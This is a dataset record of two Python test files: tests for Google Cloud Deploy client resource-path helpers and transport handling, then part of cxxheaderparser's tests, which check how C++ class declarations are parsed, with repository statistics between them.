expected = {
"project": "abalone",
"location": "squid",
"delivery_pipeline": "clam",
"release": "whelk",
"rollout": "octopus",
}
path = CloudDeployClient.rollout_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_rollout_path(path)
assert expected == actual
def test_target_path():
project = "oyster"
location = "nudibranch"
target = "cuttlefish"
expected = "projects/{project}/locations/{location}/targets/{target}".format(
project=project, location=location, target=target,
)
actual = CloudDeployClient.target_path(project, location, target)
assert expected == actual
def test_parse_target_path():
expected = {
"project": "mussel",
"location": "winkle",
"target": "nautilus",
}
path = CloudDeployClient.target_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_target_path(path)
assert expected == actual
def test_worker_pool_path():
project = "scallop"
location = "abalone"
worker_pool = "squid"
expected = "projects/{project}/locations/{location}/workerPools/{worker_pool}".format(
project=project, location=location, worker_pool=worker_pool,
)
actual = CloudDeployClient.worker_pool_path(project, location, worker_pool)
assert expected == actual
def test_parse_worker_pool_path():
expected = {
"project": "clam",
"location": "whelk",
"worker_pool": "octopus",
}
path = CloudDeployClient.worker_pool_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_worker_pool_path(path)
assert expected == actual
def test_common_billing_account_path():
billing_account = "oyster"
expected = "billingAccounts/{billing_account}".format(
billing_account=billing_account,
)
actual = CloudDeployClient.common_billing_account_path(billing_account)
assert expected == actual
def test_parse_common_billing_account_path():
expected = {
"billing_account": "nudibranch",
}
path = CloudDeployClient.common_billing_account_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_common_billing_account_path(path)
assert expected == actual
def test_common_folder_path():
folder = "cuttlefish"
expected = "folders/{folder}".format(folder=folder,)
actual = CloudDeployClient.common_folder_path(folder)
assert expected == actual
def test_parse_common_folder_path():
expected = {
"folder": "mussel",
}
path = CloudDeployClient.common_folder_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_common_folder_path(path)
assert expected == actual
def test_common_organization_path():
organization = "winkle"
expected = "organizations/{organization}".format(organization=organization,)
actual = CloudDeployClient.common_organization_path(organization)
assert expected == actual
def test_parse_common_organization_path():
expected = {
"organization": "nautilus",
}
path = CloudDeployClient.common_organization_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_common_organization_path(path)
assert expected == actual
def test_common_project_path():
project = "scallop"
expected = "projects/{project}".format(project=project,)
actual = CloudDeployClient.common_project_path(project)
assert expected == actual
def test_parse_common_project_path():
expected = {
"project": "abalone",
}
path = CloudDeployClient.common_project_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_common_project_path(path)
assert expected == actual
def test_common_location_path():
project = "squid"
location = "clam"
expected = "projects/{project}/locations/{location}".format(
project=project, location=location,
)
actual = CloudDeployClient.common_location_path(project, location)
assert expected == actual
def test_parse_common_location_path():
expected = {
"project": "whelk",
"location": "octopus",
}
path = CloudDeployClient.common_location_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_common_location_path(path)
assert expected == actual
def test_client_with_default_client_info():
client_info = gapic_v1.client_info.ClientInfo()
with mock.patch.object(
transports.CloudDeployTransport, "_prep_wrapped_messages"
) as prep:
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
with mock.patch.object(
transports.CloudDeployTransport, "_prep_wrapped_messages"
) as prep:
transport_class = CloudDeployClient.get_transport_class()
transport = transport_class(
credentials=ga_credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
@pytest.mark.asyncio
async def test_transport_close_async():
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio",
)
with mock.patch.object(
type(getattr(client.transport, "grpc_channel")), "close"
) as close:
async with client:
close.assert_not_called()
close.assert_called_once()
def test_transport_close():
transports = {
"grpc": "_grpc_channel",
}
for transport, close_name in transports.items():
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
with mock.patch.object(
type(getattr(client.transport, close_name)), "close"
) as close:
with client:
close.assert_not_called()
close.assert_called_once()
def test_client_ctx():
transports = [
"grpc",
]
for transport in transports:
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
# Test client calls underlying transport.
with mock.patch.object(type(client.transport), "close") as close:
close.assert_not_called()
with client:
pass
close.assert_called()
@pytest.mark.parametrize(
"client_class,transport_class",
[
(CloudDeployClient, transports.CloudDeployGrpcTransport),
(CloudDeployAsyncClient, transports.CloudDeployGrpcAsyncIOTransport),
],
)
def test_api_key_credentials(client_class, transport_class):
with mock.patch.object(
google.auth._default, "get_api_key_credentials", create=True
) as get_api_key_credentials:
mock_cred = mock.Mock()
get_api_key_credentials.return_value = mock_cred
options = client_options.ClientOptions()
options.api_key = "api_key"
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=mock_cred,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
| 39.111605
| 140
| 0.686491
| 26,754
| 228,842
| 5.642446
| 0.018203
| 0.036944
| 0.023252
| 0.058294
| 0.943865
| 0.919931
| 0.902403
| 0.884736
| 0.87519
| 0.854794
| 0
| 0.003591
| 0.22842
| 228,842
| 5,850
| 141
| 39.118291
| 0.851356
| 0.208231
| 0
| 0.707617
| 0
| 0
| 0.080971
| 0.028432
| 0
| 0
| 0
| 0
| 0.143114
| 1
| 0.041549
| false
| 0.000256
| 0.007181
| 0.000513
| 0.049243
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f71f6e1acacc2c48f4a28b2d425b5fac6cb232dd
| 113,230
|
py
|
Python
|
tests/test_class.py
|
michelp/cxxheaderparser
|
83bb2903790cf448bf838cdb8a93ca96e758bd1a
|
[
"BSD-3-Clause"
] | 12
|
2020-12-28T09:40:53.000Z
|
2022-03-13T15:36:21.000Z
|
tests/test_class.py
|
michelp/cxxheaderparser
|
83bb2903790cf448bf838cdb8a93ca96e758bd1a
|
[
"BSD-3-Clause"
] | 28
|
2021-01-04T14:58:59.000Z
|
2022-01-03T03:00:16.000Z
|
tests/test_class.py
|
michelp/cxxheaderparser
|
83bb2903790cf448bf838cdb8a93ca96e758bd1a
|
[
"BSD-3-Clause"
] | 1
|
2021-11-06T03:44:53.000Z
|
2021-11-06T03:44:53.000Z
|
# Note: testcases generated via `python -m cxxheaderparser.gentest`
from cxxheaderparser.types import (
AnonymousName,
Array,
BaseClass,
ClassDecl,
EnumDecl,
Enumerator,
Field,
ForwardDecl,
Function,
FundamentalSpecifier,
Method,
MoveReference,
NameSpecifier,
Operator,
PQName,
Parameter,
Pointer,
Reference,
TemplateArgument,
TemplateDecl,
TemplateSpecialization,
TemplateTypeParam,
Token,
Type,
Typedef,
UsingDecl,
Value,
Variable,
)
from cxxheaderparser.simple import (
ClassScope,
NamespaceScope,
parse_string,
ParsedData,
)
def test_class_member_spec_1():
content = """
class S {
int d1; // non-static data member
int a[10] = {1, 2}; // non-static data member with initializer (C++11)
static const int d2 = 1; // static data member with initializer
virtual void f1(int) = 0; // pure virtual member function
std::string d3, *d4, f2(int); // two data members and a member function
enum { NORTH, SOUTH, EAST, WEST };
struct NestedS {
std::string s;
} d5, *d6;
typedef NestedS value_type, *pointer_type;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="S")], classkey="class"
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="NestedS")],
classkey="struct",
),
access="private",
),
fields=[
Field(
name="s",
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="string"),
]
)
),
access="public",
)
],
)
],
enums=[
EnumDecl(
typename=PQName(
segments=[AnonymousName(id=1)], classkey="enum"
),
values=[
Enumerator(name="NORTH"),
Enumerator(name="SOUTH"),
Enumerator(name="EAST"),
Enumerator(name="WEST"),
],
access="private",
)
],
fields=[
Field(
name="d1",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
access="private",
),
Field(
name="a",
type=Array(
array_of=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
size=Value(tokens=[Token(value="10")]),
),
access="private",
value=Value(
tokens=[
Token(value="{"),
Token(value="1"),
Token(value=","),
Token(value="2"),
Token(value="}"),
]
),
),
Field(
name="d2",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
),
const=True,
),
access="private",
value=Value(tokens=[Token(value="1")]),
static=True,
),
Field(
name="d3",
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="string"),
]
)
),
access="private",
),
Field(
name="d4",
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="string"),
]
)
)
),
access="private",
),
Field(
name="d5",
type=Type(
typename=PQName(
segments=[NameSpecifier(name="NestedS")],
classkey="struct",
)
),
access="private",
),
Field(
name="d6",
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="NestedS")],
classkey="struct",
)
)
),
access="private",
),
],
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="f1")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
)
)
],
access="private",
pure_virtual=True,
virtual=True,
),
Method(
return_type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="string"),
]
)
),
name=PQName(segments=[NameSpecifier(name="f2")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
)
)
],
access="private",
),
],
typedefs=[
Typedef(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="NestedS")]
)
),
name="value_type",
access="private",
),
Typedef(
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="NestedS")]
)
)
),
name="pointer_type",
access="private",
),
],
)
]
)
)
def test_class_member_spec_2():
content = """
class M {
std::size_t C;
std::vector<int> data;
public:
M(std::size_t R, std::size_t C)
: C(C), data(R * C) {} // constructor definition
int operator()(size_t r, size_t c) const { // member function definition
return data[r * C + c];
}
int &operator()(size_t r, size_t c) { // another member function definition
return data[r * C + c];
}
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="M")], classkey="class"
)
),
fields=[
Field(
access="private",
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="size_t"),
]
)
),
name="C",
),
Field(
access="private",
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(
name="vector",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
FundamentalSpecifier(
name="int"
)
]
)
)
)
]
),
),
]
)
),
name="data",
),
],
methods=[
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="M")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="size_t"),
]
)
),
name="R",
),
Parameter(
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(name="size_t"),
]
)
),
name="C",
),
],
has_body=True,
access="public",
constructor=True,
),
Operator(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name=PQName(segments=[NameSpecifier(name="operator()")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="size_t")]
)
),
name="r",
),
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="size_t")]
)
),
name="c",
),
],
has_body=True,
access="public",
const=True,
operator="()",
),
Operator(
return_type=Reference(
ref_to=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
)
),
name=PQName(segments=[NameSpecifier(name="operator()")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="size_t")]
)
),
name="r",
),
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="size_t")]
)
),
name="c",
),
],
has_body=True,
access="public",
operator="()",
),
],
)
]
)
)
def test_class_member_spec_3():
content = """
class S {
public:
S(); // public constructor
S(const S &); // public copy constructor
virtual ~S(); // public virtual destructor
private:
int *ptr; // private data member
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="S")], classkey="class"
)
),
fields=[
Field(
name="ptr",
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
)
),
access="private",
)
],
methods=[
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="S")]),
parameters=[],
access="public",
constructor=True,
),
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="S")]),
parameters=[
Parameter(
type=Reference(
ref_to=Type(
typename=PQName(
segments=[NameSpecifier(name="S")]
),
const=True,
)
)
)
],
access="public",
constructor=True,
),
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="~S")]),
parameters=[],
access="public",
destructor=True,
virtual=True,
),
],
)
]
)
)
def test_class_using():
content = """
class Base {
protected:
int d;
};
class Derived : public Base {
public:
using Base::Base; // inherit all parent's constructors (C++11)
using Base::d; // make Base's protected member d a public member of Derived
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Base")], classkey="class"
)
),
fields=[
Field(
name="d",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
access="protected",
)
],
),
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Derived")], classkey="class"
),
bases=[
BaseClass(
access="public",
typename=PQName(segments=[NameSpecifier(name="Base")]),
)
],
),
using=[
UsingDecl(
typename=PQName(
segments=[
NameSpecifier(name="Base"),
NameSpecifier(name="Base"),
]
),
access="public",
),
UsingDecl(
typename=PQName(
segments=[
NameSpecifier(name="Base"),
NameSpecifier(name="d"),
]
),
access="public",
),
],
),
]
)
)
def test_class_member_spec_6():
content = """
struct S {
template<typename T>
void f(T&& n);
template<class CharT>
struct NestedS {
std::basic_string<CharT> s;
};
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="S")], classkey="struct"
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="NestedS")],
classkey="struct",
),
template=TemplateDecl(
params=[
TemplateTypeParam(typekey="class", name="CharT")
]
),
access="public",
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(
name="basic_string",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
NameSpecifier(
name="CharT"
)
]
)
)
)
]
),
),
]
)
),
name="s",
)
],
)
],
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="f")]),
parameters=[
Parameter(
type=MoveReference(
moveref_to=Type(
typename=PQName(
segments=[NameSpecifier(name="T")]
)
)
),
name="n",
)
],
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="T")]
),
access="public",
)
],
)
]
)
)
def test_class_fn_default_params():
content = """
// clang-format off
class Hen
{
public:
void add(int a=100, b=0xfd, float c=1.7e-3, float d=3.14);
void join(string s1="", string s2="nothing");
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Hen")], classkey="class"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="add")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="a",
default=Value(tokens=[Token(value="100")]),
),
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="b")]
)
),
default=Value(tokens=[Token(value="0xfd")]),
),
Parameter(
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="float")
]
)
),
name="c",
default=Value(tokens=[Token(value="1.7e-3")]),
),
Parameter(
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="float")
]
)
),
name="d",
default=Value(tokens=[Token(value="3.14")]),
),
],
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="join")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="string")]
)
),
name="s1",
default=Value(tokens=[Token(value='""')]),
),
Parameter(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="string")]
)
),
name="s2",
default=Value(tokens=[Token(value='"nothing"')]),
),
],
access="public",
),
],
)
]
)
)
def test_class_fn_inline_virtual():
content = """
class B {
public:
virtual inline int aMethod();
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="B")], classkey="class"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name=PQName(segments=[NameSpecifier(name="aMethod")]),
parameters=[],
inline=True,
access="public",
virtual=True,
)
],
)
]
)
)
def test_class_fn_pure_virtual_const():
content = """
class StoneClass {
virtual int getNum2() const = 0;
int getNum3();
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="StoneClass")],
classkey="class",
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name=PQName(segments=[NameSpecifier(name="getNum2")]),
parameters=[],
access="private",
const=True,
pure_virtual=True,
virtual=True,
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name=PQName(segments=[NameSpecifier(name="getNum3")]),
parameters=[],
access="private",
),
],
)
]
)
)
def test_class_fn_return_global_ns():
content = """
struct Avacado {
uint8_t foo() { return 4; }
::uint8_t bar() { return 0; }
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Avacado")], classkey="struct"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[NameSpecifier(name="uint8_t")]
)
),
name=PQName(segments=[NameSpecifier(name="foo")]),
parameters=[],
has_body=True,
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[
NameSpecifier(name=""),
NameSpecifier(name="uint8_t"),
]
)
),
name=PQName(segments=[NameSpecifier(name="bar")]),
parameters=[],
has_body=True,
access="public",
),
],
)
]
)
)
def test_class_ns_class():
content = """
namespace ns {
class N;
};
class ns::N {};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[
NameSpecifier(name="ns"),
NameSpecifier(name="N"),
],
classkey="class",
)
)
)
],
namespaces={
"ns": NamespaceScope(
name="ns",
forward_decls=[
ForwardDecl(
typename=PQName(
segments=[NameSpecifier(name="N")], classkey="class"
)
)
],
)
},
)
)
def test_class_ns_w_base():
content = """
class Herb::Cilantro : public Plant {};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[
NameSpecifier(name="Herb"),
NameSpecifier(name="Cilantro"),
],
classkey="class",
),
bases=[
BaseClass(
access="public",
typename=PQName(segments=[NameSpecifier(name="Plant")]),
)
],
)
)
]
)
)
def test_class_inner_class():
content = """
class C {
class Inner {};
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="C")], classkey="class"
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Inner")],
classkey="class",
),
access="private",
)
)
],
)
]
)
)
def test_class_inner_fwd_class():
content = """
class C {
class N;
};
class C::N {};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="C")], classkey="class"
)
),
forward_decls=[
ForwardDecl(
typename=PQName(
segments=[NameSpecifier(name="N")], classkey="class"
),
access="private",
)
],
),
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="C"), NameSpecifier(name="N")],
classkey="class",
)
)
),
]
)
)
def test_class_inner_var_access():
content = """
class Bug_3488053 {
public:
class Bug_3488053_Nested {
public:
int x;
};
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Bug_3488053")],
classkey="class",
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Bug_3488053_Nested")],
classkey="class",
),
access="public",
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="x",
)
],
)
],
)
]
)
)
def test_class_ns_and_inner():
content = """
namespace RoosterNamespace {
class RoosterOuterClass {
public:
int member1;
class RoosterSubClass1 {
public:
int publicMember1;
private:
int privateMember1;
};
private:
int member2;
class RoosterSubClass2 {
public:
int publicMember2;
private:
int privateMember2;
};
};
} // namespace RoosterNamespace
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
namespaces={
"RoosterNamespace": NamespaceScope(
name="RoosterNamespace",
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="RoosterOuterClass")],
classkey="class",
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[
NameSpecifier(name="RoosterSubClass1")
],
classkey="class",
),
access="public",
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="int")
]
)
),
name="publicMember1",
),
Field(
access="private",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="int")
]
)
),
name="privateMember1",
),
],
),
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[
NameSpecifier(name="RoosterSubClass2")
],
classkey="class",
),
access="private",
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="int")
]
)
),
name="publicMember2",
),
Field(
access="private",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="int")
]
)
),
name="privateMember2",
),
],
),
],
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="member1",
),
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="member2",
),
],
)
],
)
}
)
)
def test_class_struct_access():
content = """
struct SampleStruct {
unsigned int meth();
private:
int prop;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="SampleStruct")],
classkey="struct",
)
),
fields=[
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="prop",
)
],
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="unsigned int")]
)
),
name=PQName(segments=[NameSpecifier(name="meth")]),
parameters=[],
access="public",
)
],
)
]
)
)
def test_class_volatile_move_deleted_fn():
content = """
struct C {
void foo() volatile && = delete;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="C")], classkey="struct"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="foo")]),
parameters=[],
access="public",
volatile=True,
ref_qualifier="&&",
deleted=True,
)
],
)
]
)
)
def test_class_bitfield_1():
content = """
struct S {
// will usually occupy 2 bytes:
// 3 bits: value of b1
// 2 bits: unused
// 6 bits: value of b2
// 2 bits: value of b3
// 3 bits: unused
unsigned char b1 : 3, : 2, b2 : 6, b3 : 2;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="S")], classkey="struct"
)
),
fields=[
Field(
name="b1",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="unsigned char")
]
)
),
access="public",
bits=3,
),
Field(
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="unsigned char")
]
)
),
access="public",
bits=2,
),
Field(
name="b2",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="unsigned char")
]
)
),
access="public",
bits=6,
),
Field(
name="b3",
type=Type(
typename=PQName(
segments=[
FundamentalSpecifier(name="unsigned char")
]
)
),
access="public",
bits=2,
),
],
)
]
)
)
def test_class_bitfield_2():
content = """
struct HAL_ControlWord {
int x : 1;
int y : 1;
};
typedef struct HAL_ControlWord HAL_ControlWord;
int HAL_GetControlWord(HAL_ControlWord *controlWord);
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="HAL_ControlWord")],
classkey="struct",
)
),
fields=[
Field(
name="x",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
access="public",
bits=1,
),
Field(
name="y",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
access="public",
bits=1,
),
],
)
],
functions=[
Function(
return_type=Type(
typename=PQName(segments=[FundamentalSpecifier(name="int")])
),
name=PQName(segments=[NameSpecifier(name="HAL_GetControlWord")]),
parameters=[
Parameter(
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="HAL_ControlWord")]
)
)
),
name="controlWord",
)
],
)
],
typedefs=[
Typedef(
type=Type(
typename=PQName(
segments=[NameSpecifier(name="HAL_ControlWord")],
classkey="struct",
)
),
name="HAL_ControlWord",
)
],
)
)
def test_class_anon_struct_as_globalvar():
content = """
struct {
int m;
} unnamed, *p_unnamed;
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
classkey="struct", segments=[AnonymousName(id=1)]
)
),
fields=[
Field(
name="m",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")],
)
),
access="public",
)
],
)
],
variables=[
Variable(
name=PQName(segments=[NameSpecifier(name="unnamed")]),
type=Type(
typename=PQName(
classkey="struct", segments=[AnonymousName(id=1)]
)
),
),
Variable(
name=PQName(segments=[NameSpecifier(name="p_unnamed")]),
type=Pointer(
ptr_to=Type(
typename=PQName(
classkey="struct", segments=[AnonymousName(id=1)]
)
)
),
),
],
)
)
def test_class_anon_struct_as_classvar():
content = """
struct AnonHolderClass {
struct {
int x;
} a;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="AnonHolderClass")],
classkey="struct",
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[AnonymousName(id=1)], classkey="struct"
),
access="public",
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="x",
)
],
)
],
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[AnonymousName(id=1)], classkey="struct"
)
),
name="a",
)
],
)
]
)
)
def test_initializer_with_initializer_list_1():
content = """
struct ComplexInit : SomeBase {
ComplexInit(int i) : m_stuff{i, 2} { auto i = something(); }
void fn();
std::vector<int> m_stuff;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="ComplexInit")],
classkey="struct",
),
bases=[
BaseClass(
access="public",
typename=PQName(
segments=[NameSpecifier(name="SomeBase")]
),
)
],
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[
NameSpecifier(name="std"),
NameSpecifier(
name="vector",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
FundamentalSpecifier(
name="int"
)
]
)
)
)
]
),
),
]
